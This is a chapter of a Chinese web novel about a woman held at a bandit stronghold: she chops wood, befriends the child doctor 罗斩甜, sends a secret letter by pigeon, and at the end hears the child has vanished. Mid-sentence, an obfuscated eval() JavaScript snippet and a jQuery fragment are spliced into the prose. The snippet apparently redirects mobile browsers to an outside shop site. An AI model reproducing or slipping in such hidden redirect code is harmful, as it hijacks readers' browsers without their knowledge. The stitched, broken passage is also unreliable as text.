“我们这儿的规矩是——”罗斩风又扔过来了一个木牌。
上面赫然写着:“役”。
大可不必如此多次提醒她。
“寨子里缺人手,给寨子里做些活计才能赎身回去,我们这里不养闲人。病好了就开干吧。”罗斩风转身走了。
罗斩甜跟着罗斩风,快要跨出门槛的时候对着韶眠月挥挥手:“阿姐,我就先走啦。”又贴心地把门关上。
韶眠月换好衣服推开门,外面的光照在她身上,韶眠月用手挡着眼,好一会儿才适应光线。
韶眠月在小厮的指引下,穿过山前的栈道,去了后山。
正巧她看见游冠生拿着一把斧子,在后山劈柴。
“你、你、还有你,都给我劈柴去。”
可汗大点兵,韶眠月反抗不得,被那人往前推了一把,她没有预料到,被推得往前踉跄几步才站稳。
韶眠月想着这人怎么能这样,但迫于土匪的势力,她能屈能伸,拿起靠在墙角的斧子,对着地面上的柴劈了下去。
“咔嚓。”韶眠月劈完柴看到游冠生正站在柴堆旁边看着自己。
“这柴应该怎么劈?”游冠生扶着斧头,立在那里。
“你看,就像这样。”说罢,她把斧头扬起,往下一砍,柴变成了规规矩矩的两半。
“哎,我也来学。”其他也在砍柴的小厮跑过来说:“你是怎么把这柴劈得整齐的?”
韶眠月无奈又演示一遍。
“没想到姑娘看着清瘦,劈柴的手法这么娴熟,山里人家?”
韶眠月连忙点点头。
对,就是山里的。
“我从小就在山里劈柴,邻里八乡都知道我是劈柴的好手。”
韶眠月面不红心不慌,张嘴就开始忽悠那些小厮。
那些小厮没有对姑娘家家的有太大防备。天下之人像那个韶将军一样身为女子却样样争先的人不多。
小厮们听得入迷,不自觉把游冠生挤到了后边。
韶眠月一抬头就看到游冠生在后面局促地看着她。
“散了散了。”韶眠月挥挥手。
众人作鸟兽散。
罗斩风站在远处高台静静看着这一幕,她撇撇嘴。
没想到这人不仅武功不错,聚拢人心也是高手。
韶眠月感觉有人在看自己,一抬头就看见了罗斩风。
那人手撑着栏杆,发丝扬在风里,火红的衣袍像吸人眼睛的妖怪,让人挪不开眼,发现韶眠月看到了自己,点了点头,衣摆绕过栏杆,红色衣角慢慢也不见了。
“在看什么?”
游冠生看到韶眠月好似在发呆,韶眠月听到这句话,摇了摇头回答:“没什么。”
韶眠月看着太阳从东到南,柴从低堆到高,那些小厮擦擦汗,也抬头看了看天色。
“该吃饭了吧。”
“是啊。”
“走。那个公子姑娘该吃……咦?那姑娘人呢?”那人一回头,只见游冠生在原地,韶眠月早就不知道跑到哪里了。
游冠生不敢说刚才那人还在这里,就在他们说要吃饭的时候溜走了。
“走!兄弟们。”
几个人推推搡搡喊上游冠生,勾肩搭背往伙房走。
一群人说说笑笑。
等到了伙房,却没看见她。
人呢?
韶眠月在药房。
“甜甜让我取药。”
药柜前站着一个小厮,那人明显没有见过这个生面孔,想了想问出来:“你就是那个新来的?”
韶眠月点点头。
“罗医师说你的药在那儿。”那人脸往那儿撇,她顺着那个方向,看到了药包。
“每日熬一碗,不够再来取。”
韶眠月点点头,她没想到这儿的土匪不一样,竟然还有医术高超的医师,这个寨子就像一个小村庄一样。
这时外头一个人捂着肚子来了,看见韶眠月眼睛先是亮了一瞬。
“唉,姑娘你原来在这儿!大哥吃饭的时候找你好久,没想到你在这儿抓药。”
韶眠月回:“听罗医师的话,所以我先来这里。”
“哦,好。”他挠挠头。男人平时在寨子里很少和外界接触,也从来没有见过这么别致的姑娘,问话的时候明显能看到他的局促与不好意思。
“你是肚子疼?”
药柜边的医师这时候插话进来。
“对,对。”
“斩甜医生下山买药去了,我只能让你多喝热水,这里有一些备用的。”药柜前的人低头扒了扒药格,也给了他一袋药。
“斩甜医师什么时候回来?”韶眠月从战场上还带了旧伤,想让甜甜一齐把自己的旧伤根治了。
那人摇头:“平日里她也就这个时候回来,不知今日怎么就耽搁这么久。看天色,她快回来了。”
那人说完又补了一句:“姑娘要是着急,可以在这里等一等。半个时辰内,医师一定会回来的。”
韶眠月想着自己下午的柴也劈完了,偷一会儿懒也没有人在意。
果不其然,还没有到半个时辰罗斩甜就回来了,回来的时候手里还拿了一纸袋果脯。
韶眠月想着果然小孩子喜欢吃这些。
谁知道罗斩甜看到她,把果脯递给了韶眠月。
“给我的?”
韶眠月不可置信,这个小孩子是在哄自己?
罗斩甜摸摸鼻子:“镇上的人说要给好看的姐姐买糖吃,我转了好久没有看到糖,就给姐姐买这个了。”
韶眠月本来不想收小孩子的东西,但看到罗斩甜一脸期待地看着自己,还是把东西收下了,随即摸了摸自己的腰间。
只剩下一把匕首了。
于是她把那首匕首给了罗斩甜。
“阿姐的刀好漂亮。”
韶眠月听到自己的心跳“怦”“怦”声一个接一个。
“镇上的人还说什么了?”韶眠月弯下腰,想知道她的小脑袋瓜里学了些什么。
“镇上人还说,还要给漂亮姐姐送香囊。”
韶眠月屏息,还要送香囊?
那不是有情人之间定情才送的东西么?
于是她低头问:“是哪个镇上人说的?”
罗斩甜没想到还有人愿意听这些小事,于是像倒豆子一样全说了。
“是镇上的说书先生,说的好像是什么才子佳人,那个才子送给了那个佳人好多东西,最后两个人……”
韶眠月恍然大悟,小孩子从话本里学杂了。
她摸摸罗斩甜的头,甜甜长时间吃一些野菜,头发都是毛毛的。
这时候她才注意到罗斩甜的个子很低,甜甜故意把头往她手心里蹭了蹭。
韶眠月心里想着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125294|196039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好乖。
罗斩甜小心翼翼地把那把刀收起来。
“阿姐给的东西最宝贵。”
韶眠月心想,等到以后她恢复身份了,给她更好的。
“月姑娘!”寨子里的人渐渐都熟悉了,也知道这个月姑娘看着清瘦,其实特别勤快能干。
劈柴,她是劈得最整齐的;在伙房灶台烧火,她是把控火候好的那一个。
大家从刚开始的陌生,渐渐发现这个月姑娘平日里和罗斩甜医师走得近。
之前还没有人能和罗斩甜医师玩到一块儿去。
托罗斩甜的偏爱,月姑娘成了寨子里的大红人。
大家平日里有什么困难,都能去喊月姑娘帮忙,月姑娘也没有架子,你要走不开,你的活儿她保准给你做好。
月姑娘这人不错。
“月姑娘!我要和斩甜医师下山,斩甜医师说要给你带蜜饯还有时兴的簪子。你还想要什么?我一并都给你带回来。”
韶眠月那时候闲下来,正在桌前写字,她听见有人喊自己,把手里的信叠起来藏在袖子里。
她和游冠生不是自愿进寨子里的,被罗斩霜勒令不能下山,但山上的土匪们心里都念着月姑娘的好。
“不用了,上一次甜甜给我带的胭脂还没有用完。”韶眠月架不住大家的热情。
“行!你要缺什么都给兄弟们说,兄弟们都不是知恩不报的人。是吧游兄。”
游冠生正在帮韶眠月熬药,闻言点点头。
众人又是一阵哄笑。
“我游兄都同意了。”
寨子里的人没有去过京城,也不知道什么世家,游冠生说他姓游,名字也没给,大家也不问。
英雄不论出处嘛。
“行,那我带着甜甜先下山了。”那人嗓门大,都走了好远韶眠月还能听见那人苦口婆心地对甜甜说:“下次去铺子里买东西要长个心眼儿,不能人家说什么就是什么……”
等到两个人的身影从韶眠月面前不见,她听见那人还在说:“上次你给月姑娘买胭脂就被骗了十两银子,这次我跟着你,咱们好好挑……”
韶眠月心里一软。
罗斩甜平日不用胭脂,但她说漂亮姐姐就要用胭脂,所以给韶眠月买了很多。
小孩子天真烂漫,被商家骗了很多银子,这事儿罗斩甜也没给她说,是大当家罗斩霜看到罗斩甜最近买的药都少了,一问,钱不够了,这才知道是给她阿姐买胭脂去了。
罗斩风听到这些事,差点把牙咬碎,甜甜从来没有这么对她好过。
人比人,气死人!
为此,韶眠月没少挨罗斩风的白眼。
韶眠月从罗斩甜买胭脂的回忆里出来,抬头看见树枝上的红梅点点,惊觉从她乱葬岗爬出来已经过了许久。
冬天了。
她心里一刻也没忘回南境的事,匆匆把信装进信封里封口,招来了自己从不假手于人、偷偷养的鸽子。
让鸽子把信递出去。
游冠生看到她传信,往四下看看,没有人,这才放心继续熬药。
“药熬好了。”
韶眠月抿了一口,苦。
于是假装太烫了,把药碗往远处搁了搁。
等到药彻底凉了,她一口气闷下去。
碗还没放下,就听到了坏消息。
“什么?甜甜不见了!”